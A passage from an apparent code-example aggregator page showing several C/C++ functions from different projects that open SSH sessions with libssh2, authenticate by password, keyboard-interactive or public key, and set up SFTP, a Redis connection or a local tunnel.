				if ( ret ) { throw int( ret - 1000 ); }

				break; //!!!
			}
			else if ( !strncmp( authList, kInterId, strlen( kInterId ) ) )
			{
				MutexLock lock( &kbdIntMutex );
				kbdIntInfo = info;
				kbdIntParam = &_operParam;

				int ret;
				WHILE_EAGAIN_( ret,
				               libssh2_userauth_keyboard_interactive( sshSession,
				                                                      ( char* )FSString( _operParam.user.Data() ).Get( _operParam.charset ),
				                                                      KbIntCallback )
				             );

				if ( ret ) { throw int( ret - 1000 ); }

				break; //!!!
			}

			char* s = authList;

			while ( *s && *s != ',' ) { s++; }

			if ( !*s ) { break; }

			authList = s + 1;
		};


		while ( true )
		{
			sftpSession = libssh2_sftp_init( sshSession );

			if ( sftpSession ) { break; }

			if ( !sftpSession )
			{
				int e = libssh2_session_last_errno( sshSession );

				if ( e != LIBSSH2_ERROR_EAGAIN ) { throw int( e - 1000 ); }
			}

			WaitSocket( info );
		}

		return 0;

	}
	catch ( int e )
	{
		if ( err ) { *err = e; }

		//if (sftpSession) ??? похоже закрытие сессии все решает
		if ( sshSession ) { libssh2_session_free( sshSession ); }

		sshSession = 0;
		sftpSession = 0;
		_sock.Close( false );
		return ( e == -2 ) ? -2 : -1;
	}

}
Пример #28
0
redisContext *redisConnect(const char *ip, int port, const char *ssh_address, int ssh_port, const char *username, const char *password,
                           const char *public_key, const char *private_key, const char *passphrase, int curMethod) {

    LIBSSH2_SESSION *session = NULL;
    if(ssh_address && curMethod != SSH_UNKNOWN){
        int rc = libssh2_init(0);
        if (rc != 0) {
            return NULL;
        }

        struct sockaddr_in sin;
        /* Connect to SSH server */
        int sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
        sin.sin_family = AF_INET;
        if (INADDR_NONE == (sin.sin_addr.s_addr = inet_addr(ssh_address))) {
            return NULL;
        }
        sin.sin_port = htons(ssh_port);
        if (connect(sock, (struct sockaddr*)(&sin),
                    sizeof(struct sockaddr_in)) != 0) {
            return NULL;
        }

        /* Create a session instance */
        session = libssh2_session_init();
        if(!session) {
            return NULL;
        }

        /* ... start it up. This will trade welcome banners, exchange keys,
         * and setup crypto, compression, and MAC layers
         */
        rc = libssh2_session_handshake(session, sock);
        if(rc) {
            return NULL;
        }

        int auth_pw = 0;
        libssh2_hostkey_hash(session, LIBSSH2_HOSTKEY_HASH_SHA1);
        char *userauthlist = libssh2_userauth_list(session, username, strlen(username));
        if (strstr(userauthlist, "password") != NULL) {
            auth_pw |= 1;
        }
        if (strstr(userauthlist, "keyboard-interactive") != NULL) {
            auth_pw |= 2;
        }
        if (strstr(userauthlist, "publickey") != NULL) {
            auth_pw |= 4;
        }

        if (auth_pw & 1 && curMethod == SSH_PASSWORD) {
            /* We could authenticate via password */
            if (libssh2_userauth_password(session, username, password)) {
                //"Authentication by password failed!";
                return NULL;
            }
        }
        else if (auth_pw & 2) {
            /* Or via keyboard-interactive */
            if (libssh2_userauth_keyboard_interactive(session, username, &kbd_callback) )
            {
                //"Authentication by keyboard-interactive failed!";
                return NULL;
            }
        }
        else if (auth_pw & 4 && curMethod == SSH_PUBLICKEY) {
            /* Or by public key */
            if (libssh2_userauth_publickey_fromfile(session, username, public_key, private_key, passphrase)){
                //"Authentication by public key failed!";
                return NULL;
            }
        }
        else {
            //"No supported authentication methods found!";
            return NULL;
        }
    }

    redisContext *c;

    c = redisContextInit();
    if (c == NULL)
        return NULL;

    c->session = session;

    c->flags |= REDIS_BLOCK;
    redisContextConnectTcp(c,ip,port,NULL);
    return c;
}
Пример #29
0
bool CSSHTunnelThread::Initialize()
{
	int rc, auth = AUTH_NONE;
	const char *fingerprint;
	char *userauthlist;

#ifdef WIN32
	char sockopt;
	WSADATA wsadata;
	int err;

	err = WSAStartup(MAKEWORD(2, 0), &wsadata);
	if(err != 0)
	{
		wxLogInfo(wxT("WSAStartup failed with error: %d"), err);
		return false;
	}
#else
	int sockopt;
#endif

	wxArrayString arrTunnelHostIP;

	if (resolveDNS(m_tunnelhost.mb_str(), arrTunnelHostIP))
	{
		rc = libssh2_init (0);

		if (rc != 0)
		{
			LogSSHTunnelErrors(wxString::Format(_("libssh2 initialization failed with error code %d"), rc), GetId());
			return false;
		}

		/* Connect to SSH server */
		m_sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
		m_sin.sin_family = AF_INET;
		if (INADDR_NONE == (m_sin.sin_addr.s_addr = inet_addr(arrTunnelHostIP.Item(0).mb_str())))
		{
			LogSSHTunnelErrors(wxString::Format(_("SSH error: Error in inet address with error code %d"), wxSysErrorCode()), GetId());
			return false;
		}
		m_sin.sin_port = htons(m_tunnelPort);
		if (connect(m_sock, (struct sockaddr *)(&m_sin),
		            sizeof(struct sockaddr_in)) != 0)
		{
			LogSSHTunnelErrors(wxString::Format(_("SSH error: Could not connect to socket with error code %d"), wxSysErrorCode()), GetId());
			return false;
		}

		/* Create a session instance */
		m_session = libssh2_session_init();

		if (!m_session)
		{
			LogSSHTunnelErrors(_("SSH error: Could not initialize SSH session!"), GetId());
			return false;
		}

		/* ... start it up. This will trade welcome banners, exchange keys,
		* and setup crypto, compression, and MAC layers
		*/
		rc = libssh2_session_handshake(m_session, m_sock);
		if (rc)
		{
			LogSSHTunnelErrors(wxString::Format(_("SSH error: Error when starting up SSH session with error code %d"), rc), GetId());
			return false;
		}

		/* At this point we havn't yet authenticated.  The first thing to do
		* is check the hostkey's fingerprint against our known hosts Your app
		* may have it hard coded, may go to a file, may present it to the
		* user, that's your call
		*/
		fingerprint = libssh2_hostkey_hash(m_session, LIBSSH2_HOSTKEY_HASH_SHA1);
		wxString newHostKey = wxEmptyString;
		for(int i = 0; i < 20; i++)
		{
			newHostKey += wxString::Format(wxT("%02X "), (unsigned char)fingerprint[i]);
		}

		// Check if the SSH Host Key is verified
		if(!IsHostKeyVerified(newHostKey))
		{
			Cleanup();
			return false;
		}


		/* check what authentication methods are available */
		userauthlist = libssh2_userauth_list(m_session, m_username.mb_str(), strlen(m_username.mb_str()));

		if (strstr(userauthlist, "password"))
			auth |= AUTH_PASSWORD;
		if(strstr(userauthlist, "keyboard-interactive"))
			auth |= AUTH_KEYBOARD_INTERACTIVE;
		if (strstr(userauthlist, "publickey"))
			auth |= AUTH_PUBLICKEY;

		if ((auth & AUTH_PASSWORD) && (m_enAuthMethod == AUTH_PASSWORD))
			auth = AUTH_PASSWORD;
		else if ((auth & AUTH_KEYBOARD_INTERACTIVE) && (m_enAuthMethod == AUTH_PASSWORD))
			auth = AUTH_KEYBOARD_INTERACTIVE;
		if ((auth & AUTH_PUBLICKEY) && (m_enAuthMethod == AUTH_PUBLICKEY))
			auth = AUTH_PUBLICKEY;

		if (auth & AUTH_PASSWORD)
		{
			rc = libssh2_userauth_password(m_session, m_username.mb_str(), m_password.mb_str());
			if (rc)
			{
				LogSSHTunnelErrors(wxString::Format(_("SSH error: Authentication by password failed with error code %d"), rc), GetId());
				Cleanup();
				return false;
			}
		}
		else if (auth & AUTH_KEYBOARD_INTERACTIVE)
		{
			rc = libssh2_userauth_keyboard_interactive(m_session, m_username.mb_str(), &CSSHTunnelThread::keyboard_interactive);
			if (rc)
			{
				LogSSHTunnelErrors(wxString::Format(_("SSH error: Authentication by password failed with error code %d"), rc), GetId());
				Cleanup();
				return false;
			}
		}
		else if (auth & AUTH_PUBLICKEY)
		{
#ifdef HAVE_GCRYPT
			rc = libssh2_userauth_publickey_fromfile(m_session, m_username.mb_str(), m_publickey.mb_str(), m_privatekey.mb_str(), m_password.mb_str());
#else
			rc = libssh2_userauth_publickey_fromfile(m_session, m_username.mb_str(), NULL, m_privatekey.mb_str(), m_password.mb_str());
#endif
			if (rc)
			{
				LogSSHTunnelErrors(wxString::Format(_("SSH error: Authentication by identity file failed with error code %d"), rc), GetId());
				Cleanup();
				return false;
			}
		}
		else
		{
			LogSSHTunnelErrors(_("SSH error: No supported authentication methods found!"), GetId());
			Cleanup();
			return false;
		}

		// Get the IP Address of local machine
		wxArrayString arrLocalIP;
		if(resolveDNS("localhost", arrLocalIP))
		{
			m_listensock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
			memset(&m_sin, 0 , sizeof(m_sin));
			m_sin.sin_family = AF_INET;

			// Give port no to 0 so that bind will automatically select the available port.
			m_sin.sin_port = htons(0);
			if (INADDR_NONE == (m_sin.sin_addr.s_addr = inet_addr(arrLocalIP.Item(0).mb_str())))
			{
				Cleanup();
				return false;
			}

			sockopt = 1;
			setsockopt(m_listensock, SOL_SOCKET, SO_REUSEADDR, &sockopt, sizeof(sockopt));
			m_sinlen = sizeof(m_sin);
			if (-1 == bind(m_listensock, (struct sockaddr *)&m_sin, m_sinlen))
			{
				LogSSHTunnelErrors(wxString::Format(_("SSH error: bind failed with error code %d"), wxSysErrorCode()), GetId());
				Cleanup();
				return false;
			}

			if (getsockname(m_listensock, (struct sockaddr *)&m_sin, &m_sinlen) == -1)
			{
				LogSSHTunnelErrors(wxString::Format(_("SSH error: getsockname() failed with error code %d"), wxSysErrorCode()), GetId());
				Cleanup();
				return false;
			}

			if (-1 == listen(m_listensock, 2))
			{
				LogSSHTunnelErrors(wxString::Format(_("SSH error: listen failed with error code %d"), wxSysErrorCode()), GetId());
				Cleanup();
				return false;
			}

			m_local_listenip = wxString(inet_ntoa(m_sin.sin_addr), wxConvLibc);
			m_local_listenport = ntohs(m_sin.sin_port);

			wxLogInfo(wxT("Waiting for TCP connection on %s:%d..."), m_local_listenip.c_str(), m_local_listenport);
			return true;
		}
		else
		{
			LogSSHTunnelErrors(_("SSH error: Unable to resolve localhost"), GetId());
		}
	}
	else
	{
		LogSSHTunnelErrors(wxString::Format(_("SSH error: Unable to resolve host: %s"), m_tunnelhost.c_str()), GetId());
	}

	return false;
}
Пример #30
0
guac_common_ssh_session* guac_common_ssh_create_session(guac_client* client,
        const char* hostname, const char* port, guac_common_ssh_user* user) {

    int retval;

    int fd;
    struct addrinfo* addresses;
    struct addrinfo* current_address;

    char connected_address[1024];
    char connected_port[64];

    struct addrinfo hints = {
        .ai_family   = AF_UNSPEC,
        .ai_socktype = SOCK_STREAM,
        .ai_protocol = IPPROTO_TCP
    };

    /* Get socket */
    fd = socket(AF_INET, SOCK_STREAM, 0);
    if (fd < 0) {
        guac_client_abort(client, GUAC_PROTOCOL_STATUS_SERVER_ERROR,
                "Unable to create socket: %s", strerror(errno));
        return NULL;
    }

    /* Get addresses connection */
    if ((retval = getaddrinfo(hostname, port, &hints, &addresses))) {
        guac_client_abort(client, GUAC_PROTOCOL_STATUS_SERVER_ERROR,
                "Error parsing given address or port: %s",
                gai_strerror(retval));
        close(fd);
        return NULL;
    }

    /* Attempt connection to each address until success */
    current_address = addresses;
    while (current_address != NULL) {

        /* Resolve hostname */
        if ((retval = getnameinfo(current_address->ai_addr,
                current_address->ai_addrlen,
                connected_address, sizeof(connected_address),
                connected_port, sizeof(connected_port),
                NI_NUMERICHOST | NI_NUMERICSERV)))
            guac_client_log(client, GUAC_LOG_DEBUG,
                    "Unable to resolve host: %s", gai_strerror(retval));

        /* Connect */
        if (connect(fd, current_address->ai_addr,
                        current_address->ai_addrlen) == 0) {

            guac_client_log(client, GUAC_LOG_DEBUG,
                    "Successfully connected to host %s, port %s",
                    connected_address, connected_port);

            /* Done if successful connect */
            break;

        }

        /* Otherwise log information regarding bind failure */
        else
            guac_client_log(client, GUAC_LOG_DEBUG, "Unable to connect to "
                    "host %s, port %s: %s",
                    connected_address, connected_port, strerror(errno));

        current_address = current_address->ai_next;

    }

    /* If unable to connect to anything, fail */
    if (current_address == NULL) {
        guac_client_abort(client, GUAC_PROTOCOL_STATUS_UPSTREAM_ERROR,
                "Unable to connect to any addresses.");
        close(fd);
        return NULL;
    }

    /* Free addrinfo */
    freeaddrinfo(addresses);

    /* Allocate new session */
    guac_common_ssh_session* common_session =
        malloc(sizeof(guac_common_ssh_session));

    /* Open SSH session */
    LIBSSH2_SESSION* session = libssh2_session_init_ex(NULL, NULL,
            NULL, common_session);
    if (session == NULL) {
        guac_client_abort(client, GUAC_PROTOCOL_STATUS_SERVER_ERROR,
                "Session allocation failed.");
        free(common_session);
        close(fd);
        return NULL;
    }

    /* Perform handshake */
    if (libssh2_session_handshake(session, fd)) {
        guac_client_abort(client, GUAC_PROTOCOL_STATUS_UPSTREAM_ERROR,
                "SSH handshake failed.");
        free(common_session);
        close(fd);
        return NULL;
    }

    /* Store basic session data */
    common_session->client = client;
    common_session->user = user;
    common_session->session = session;
    common_session->fd = fd;

    /* Attempt authentication */
    if (guac_common_ssh_authenticate(common_session)) {
        free(common_session);
        close(fd);
        return NULL;
    }

    /* Return created session */
    return common_session;

}